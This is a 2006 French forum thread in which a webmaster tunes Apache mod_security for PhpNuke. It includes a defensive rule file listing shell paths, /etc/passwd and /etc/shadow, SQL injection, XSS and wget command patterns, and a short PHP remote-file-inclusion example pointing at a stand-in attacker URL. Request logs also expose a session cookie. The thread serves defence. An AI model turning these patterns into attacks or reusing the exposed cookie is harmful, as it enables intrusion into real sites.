Page 1 sur 1

mod_security et PhpNuke

Posté : 07 juin 2006, 18:17
par SecondSight
Bonjour !

J'ai annoncé sur le forum de mon hébergeur que j'allais installer mod_security (pour apache 1.3.27) alors que j'ai PhpNuke qui tourne sur le serveur.
On m'a dit que je devais faire gaffe car je risquais de "cartonner" (?) mon PhpNuke...

Voici donc ce que j'ai fait :

J'ai ajouté ceci en dessous de la ligne "AddModule mod_security.c" dans httpd.conf :
<IfModule mod_security.c>
# activer le moteur de mod_security
SecFilterEngine On
# vérifie la validité de l'encodage des urls
SecFilterCheckURLEncoding On
# vérifie la validité de l'unicode
SecFilterCheckUnicodeEncoding On
# Only allow bytes from this range
SecFilterForceByteRange 0 255
# log seulement pour certaines requetes
SecAuditEngine RelevantOnly
# Nom du fichier de log
SecAuditLog logs/modsec_log
# niveau de debug
SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLevel 0
# activation du scan des données en POST, par exemple les formulaires
#SecFilterScanPOST On -------> J'ENLEVE CAR IMPOSSIBLE DE POSTER SUR PHPNUKE
#Afficher apache a la place de la version d apache
SecServerSignature "Apache"
# log des requetes http suspectes avec un status erreur 401, erreur d'authentification
SecFilterDefaultAction "deny,log,status:401"
# l'insertion du fichier modsec.conf
include /usr/local/apache/conf/modsec.conf
</IfModule>
J'ai donc déjà un premier problème avec SecFilterScanPOST

J'ai ensuite créé un fichier "modsec.conf" dans le répertoire "conf" de Apache. Ce fichier ne contient pour l'instant que très peu de choses car les règles ne sont pas très claires pour moi (je ne suis pas informaticien - mais je suis en train d'aprendre :) ).

Quelqu'un qui s'y connait pourrait-il me dire ce qu'il ne faut pas mettre dans mon modsec.conf pour que PhpNuke tourne sans problème ?

Merci ! :)

Posté : 07 juin 2006, 18:48
par Ripat
Essaye ces règles de base:

http://www.modsecurity.org/download/rul ... neral.conf
http://www.modsecurity.org/download/rul ... y-php.conf

Autres règles:
http://www.modsecurity.org/projects/rules/index.html

Pour le scan du contenu des POST, je le laissserais ON mais vas voir dans les logs pourquoi mod_security l'a éjecté. Les log font référence à la règle qui éjecte la requête.

Posté : 07 juin 2006, 21:57
par SecondSight
Merci pour votre aide. :)

Posté : 07 juin 2006, 22:11
par SecondSight
Voici le message d'erreur si je mets à ON le scan du contenu du post :
-----------------------
Authorization Required
This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.

Apache/1.3.34 Server at www.bellepierre.info Port 80
-----------------------

Je regarderai les logs demain...

Posté : 08 juin 2006, 18:08
par SecondSight
Bonjour !

Si je mets à Off, tout fonctionne normalement. Si c'est sur On, j'obtiens dans le navigateur un message d'erreur tel que celui donné ci-dessus, et voici ce que je trouve dans le fichier log quand je tente de poster un message "test" (contenu : "test", dans une rubrique dont l'id est 1) :
==7765b25b==============================
Request: www.bellepierre.info 81.248.225.173 - - [08/Jun/2006:18:00:06 +0200] "POST /modules.php?name=Submit_News HTTP/1.1" 401 486 "http://www.bellepierre.info/modules.php ... ubmit_News" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" - "-"
Handler: mod_gzip_handler
----------------------------------------
POST /modules.php?name=Submit_News HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Cookie: qs_longid=axxxxxxxxxxxxxxxxxxe; admin=Qxxxxxxxxzxxxxx%3D; user=xxxxxxxxxxxxxxxxxxxxY%xx; lang=french; phpbb2mysql_data=a%3Axxxxxx22autologinid%22%3Bxxxxxxxxxxx2userid%2xxxxxxxxxxxxxxxB%7D
Host: www.bellepierre.info
Keep-Alive: 300
Referer: http://www.bellepierre.info/modules.php ... ubmit_News
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
mod_security-message: Access denied with code 401. Error parsing POST parameters: Error normalising parameter value: Invalid Unicode encoding: invalid byte value [severity "EMERGENCY"]
mod_security-action: 401

97
subject=test&topic=1&alanguage=&story=test&storyext=test&op=Pr%E9visualisation&posttype=plaintext

HTTP/1.1 401 Authorization Required
Keep-Alive: timeout=15, max=94
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--7765b25b--
Que dois-je faire ?

Merci pour votre aide ! :)

Posté : 08 juin 2006, 18:20
par SecondSight
Autre exemple, apparemment quand une personne cherche à accéder à la rubrique "Mon Compte" ou à s'identifier :
==43b0880c==============================
Request: www.enseignants-du-primaire.info 90.5.164.129 - - [08/Jun/2006:17:52:57 +0200] "POST /modules.php?name=Your_Account HTTP/1.1" 401 498 "http://www.enseignants-du-primaire.info/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4" - "-"
Handler: mod_gzip_handler
----------------------------------------
POST /modules.php?name=Your_Account HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Cookie: lang=french
Host: www.enseignants-du-primaire.info
Keep-Alive: 300
Referer: http://www.enseignants-du-primaire.info/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
mod_security-message: Access denied with code 401. Error parsing POST parameters: Error normalising parameter value: Invalid Unicode encoding: invalid byte value [severity "EMERGENCY"]
mod_security-action: 401

91
username=Miss+Philom%E9na&user_password=6xxxxxx&random_num=119522&gfx_check=583012&op=login

HTTP/1.1 401 Authorization Required
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--43b0880c--
Apparemment le problème serait lié aux caractères employés dans les formulaires ? caractères accentués comme é, è, les espaces ? ...

Merci pour votre aide !

Posté : 10 juin 2006, 08:50
par Ripat
PhpNuke semble avoir un problème avec l'encodage de la partie POST de la requête http.

Peut-être un problème d'accents (caractères non ascii)
Error parsing POST parameters: Error normalising parameter value: Invalid Unicode encoding: invalid byte value [severity "EMERGENCY"]
Dans mod-security.conf, essaye de mettre:
SecFilterCheckUnicodeEncoding Off

Pour voir.

Posté : 15 juin 2006, 16:49
par SecondSight
Bonjour !

J'ai mis SecFilterCheckUnicodeEncoding à Off et cela fonctionne !

Merci beaucoup ! :)

Reste un autre problème avec les téléchargements :
This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.
Je cherche ce qui pourrait poser problème.

Voici le fichier modsec.conf :
SecFilter "/bin/sh"
SecFilter "/bin/bash"
SecFilter "/bin/tclsh"
SecFilter "/bin/ls"
SecFilter "/bin/echo"
SecFilter "/bin/python"
SecFilter "/bin/kill"
SecFilter "/bin/chmod"
SecFilter "/bin/cc"
SecFilter "/bin/gcc"
SecFilter "/chgrp"
SecFilter "/chown"
SecFilter "/etc/passwd"
SecFilter "/boot"
SecFilter "/etc"
SecFilter "/initrd"
SecFilter "/lost+found"
SecFilter "/mnt"
SecFilter "/proc"
SecFilter "/root"
SecFilter "/sbin"
SecFilter "/var"
SecFilter "/usr/local/apache"
SecFilter "/usr/local/mysql"
SecFilter "/usr/X11R6/bin/xterm"
SecFilter "/etc/inetd\.conf" log,pass
SecFilter "/etc/shadow" log,pass
SecFilter "visualcoders\.net/spy\.gif\?\&cmd"
SecFilter "conf/httpd\.conf" log,pass
SecFilter "HTTP/1\.1 403"
SecFilter "cmd32\.exe"
SecFilter "cmd\.exe"
SecFilter "\.cmd\?&"
SecFilter "document\.domain\("
SecFilter "javascript\://"
SecFilter "img src=javascript"
SecFilter "_PHPLIB[libdir]"

## -- PHP --------------------------------------------------------------------

# Allow only letters, digits, underscore, and square brackets (for arrays)
# in variable names
#
SecFilterSelective ARGS_NAMES "!^[][a-zA-Z0-9_]+$"

# GLOBALS attack against PHP 4.x
#
SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)"

# URL in a parameter, possible allow_url_fopen attack
#
SecFilterSelective ARGS_VALUES "^http:/"

# Possible code execution attack (targets valid PHP streams constructs)
# see http://www.securityfocus.com/bid/10427
#
SecFilterSelective ARGS_NAMES "^php:/"

## -- SQL Injection Attacks --------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'SQL Injection attack'"

# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"

# MS SQL
SecFilterSelective ARGS "exec.+xp_"
SecFilterSelective ARGS "exec.+sp_"
SecFilterSelective ARGS "@@[[:alnum:]]+"
SecFilterSelective ARGS ";--"
SecFilterSelective ARGS "exec[[:space:]]*\("
SecFilterSelective ARGS "openquery"
SecFilterSelective ARGS "openrowset"
SecFilterSelective ARGS "msdasql"
SecFilterSelective ARGS "sqloledb"
SecFilterSelective ARGS "sysobjects"
SecFilterSelective ARGS "syscolumns"
SecFilterSelective ARGS "syslogins"
SecFilterSelective ARGS "sysxlogins"

SecFilterSelective ARGS "select.+=[[:space:]]*0x[0-9a-zA-Z]+"
SecFilterSelective ARGS "char[[:space:]]*\([[:space:]]*0x[0-9a-zA-Z]+[[:space:]]*\)"

# MySQL
SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"

# MS Access
SecFilterSelective ARGS "MSysACEs"
SecFilterSelective ARGS "MSysObjects"
SecFilterSelective ARGS "MSysQueries"
SecFilterSelective ARGS "MSysRelationships"


## -- XSS Attacks ------------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'XSS attack'"

SecFilterSelective ARGS "alert[[:space:]]*\("
SecFilterSelective ARGS "&#[[0-9a-fA-F]]{2}"
SecFilterSelective ARGS "eval[[:space:]]*\("
SecFilterSelective ARGS "onKeyUp"
SecFilterSelective ARGS "\x5cx[0-9a-fA-F]{2}"
SecFilterSelective ARGS "fromCharCode"
SecFilterSelective ARGS "&\{.+\}"

SecFilterSelective ARGS "<.+>"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "http-equiv"
SecFilterSelective ARGS "-->"
SecFilterSelective ARGS "expression[[:space:]]*\("
SecFilterSelective ARGS "url[[:space:]]*\("
SecFilterSelective ARGS "innerHTML"
SecFilterSelective ARGS "document\.body"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"
SecFilterSelective ARGS "style[[:space:]]*="
SecFilterSelective ARGS "dynsrc"

SecFilterSelective ARGS_VALUES "jsessionid"
SecFilterSelective ARGS_VALUES "phpsessid"

# HTML tags frequently used for attacks
SecFilterSelective ARGS "<applet"
SecFilterSelective ARGS "<div"
SecFilterSelective ARGS "<embed"
SecFilterSelective ARGS "<iframe"
SecFilterSelective ARGS "<img"
SecFilterSelective ARGS "<meta"
SecFilterSelective ARGS "<object"
SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "<textarea"

# JavaScript event handlers
SecFilterSelective ARGS "onAbort"
SecFilterSelective ARGS "onBlur"
SecFilterSelective ARGS "onChange"
SecFilterSelective ARGS "onClick"
SecFilterSelective ARGS "onDblClick"
SecFilterSelective ARGS "onDragDrop"
SecFilterSelective ARGS "onError"
SecFilterSelective ARGS "onFocus"
SecFilterSelective ARGS "onKeyDown"
SecFilterSelective ARGS "onKeyPress"
SecFilterSelective ARGS "onLoad"
SecFilterSelective ARGS "onMouseDown"
SecFilterSelective ARGS "onMouseOut"
SecFilterSelective ARGS "onMouseOver"
SecFilterSelective ARGS "onMouseUp"
SecFilterSelective ARGS "onMove"
SecFilterSelective ARGS "onReset"
SecFilterSelective ARGS "onResize"
SecFilterSelective ARGS "onSelect"
SecFilterSelective ARGS "onSubmit"
SecFilterSelective ARGS "onUnload"

# XmlHttp
SecFilterSelective ARGS "onReadyStateChange"
SecFilterSelective ARGS "xmlHttp"


## -- Command execution ------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'Command execution attack'"

#SecFilterSelective ARGS_VALUES "^(uname|id|ls|cat|rm|kill|mail)"
#SecFilterSelective ARGS_VALUES "^(ls|id|pwd|wget)"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"


## -- LDAP injection ---------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'LDAP injection attack'"

SecFilterSelective ARGS "objectClass"
SecFilterSelective ARGS "objectCategory"
SecFilterSelective ARGS "\)\(\|"
SecFilterSelective ARGS "\)\(!"
SecFilterSelective ARGS "\)\(&"


## -- SSI injection ----------------------------------------------------------

SecFilterSignatureAction "log,pass,msg:'SSI injection attack'"

SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*exec"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*cmd"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*echo"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*include"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*printenv"

Posté : 16 juin 2006, 10:08
par Ripat
Quelle est l'entrée dans le log de mod-security?

Posté : 16 juin 2006, 22:17
par SecondSight
SecFilterScanPOST est à : On.

Avec SecFilterCheckUnicodeEncoding à Off cela donne :
Request: www.enseignants-du-primaire.info 80.8.168.59 - - [16/Jun/2006:22:09:19 +0200] "POST /modules.php?name=Downloads HTTP/1.1" 401 498 "http://www.enseignants-du-primaire.info ... 5&type=url"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)
Gecko/20050919 Firefox/1.0.7" - "-"
Handler: mod_gzip_handler
----------------------------------------
POST /modules.php?name=Downloads HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Content-Length: 308
Content-Type: application/x-www-form-urlencoded
Cookie: lang=french; admin=YW5kcmVqb3JnZToxYTAzNGViMGJmMjU0OWNjYzkzMWQxMGJiMWIwMDhmYjo%3D;
phpbb2mysql_data=a%3A0%3A%7B%7D
Host: www.enseignants-du-primaire.info
Keep-Alive: 300
Referer: http://www.enseignants-du-primaire.info ... 5&type=url
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
mod_security-message: Access denied with code 401. Pattern match "^http:/" at ARGS_VALUES("dref") [severity "EMERGENCY"]
mod_security-action: 401

308
passcode=yixxxxxxet&cid=98&lid=4xx&checkpass=yiwnt&ftid=bWWxxxx
xxxEb3dubG9hZHMvZmlsZXVwbG9hZHMvemljemljODUtZXZhbHVhdGlvbxx
xxxemlw&title=Ce+que+je+connais+de+la+France
&dref=http%3A%2F%2Fwww.enseignants-du-primaire.info%2Fmodules.php%3Fname
%3DDownloads%26d_op%3Dviewdownload%26cid%3D98&d_op=ns_get_download

HTTP/1.1 401 Authorization Required
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--a528016f--
Je dois taper un mot de passe pour télécharger un document. Le problème serait-il lié au fait que ARGS_VALUES("dref") contient "http://" ?

Merci pour votre aide ! :)

Posté : 17 juin 2006, 05:58
par Ripat
Bonjour,

Je suppose que tu auras identifié la règle de mod_security qui a causé ce rejet. Il s'agit de:

Code : Tout sélectionner

SecFilterSelective ARGS_VALUES "^http:/"
Cette règle a pour objectif d'empêcher des include sur des url distantes qui pourraient contenir du code malveillant. Par exemple:
// ta variable passée par GET ou POST
$dref = 'http://black-hat-hacker.com/code-malicieux.txt';

// inclusion mortelle
include($dref);
Si la directive PHP allow_url_fopen est à off, tu ne risques rien et tu peux désactiver le filtre ci-dessus. Vérifie également la valeur de open_basedir.

Si allow_url_fopen est on et que tu ne peux/veux la changer, il te faudra vérifier tous les include() ou require() et patcher le code pour qu'ils ne puissent inclure un code (url) malicieux.

Posté : 18 juin 2006, 20:06
par Invité
J'ai ceci :
open_basedir : novalue
allow_url_fopen : on

Un grand merci pour votre aide. Je vais bosser tout ça. :)

Posté : 28 juin 2006, 08:20
par SecondSight
Bonjour !

J'ai donc ouvert mon fichier modsec.conf et j'ai ajouté un # devant :
SecFilterSelective ARGS_VALUES "^http:/"

Par contre, je ne suis pas sûr d'avoir fait les choses comme il faut pour mettre allow_url_fopen à off. J'ai ouvert le fichier suivant : usr/local/lib/php.ini et j'ai mis off.

Quand je vais là :
http://quizz.bellepierre.info/phptest.php
Je vois que c'est à Off.

Merci ! :)

Posté : 28 juin 2006, 08:42
par SecondSight
A propos de open_basedir, je suis un peu dans le flou.

Je veux restreindre l'accès à mes sites web. Pour cela je mets :

open_basedir=/home/repertoire_de_monsite1/www/:/home/repertoire_de_monsite2/www/

Est-ce correct ?

Merci ! :)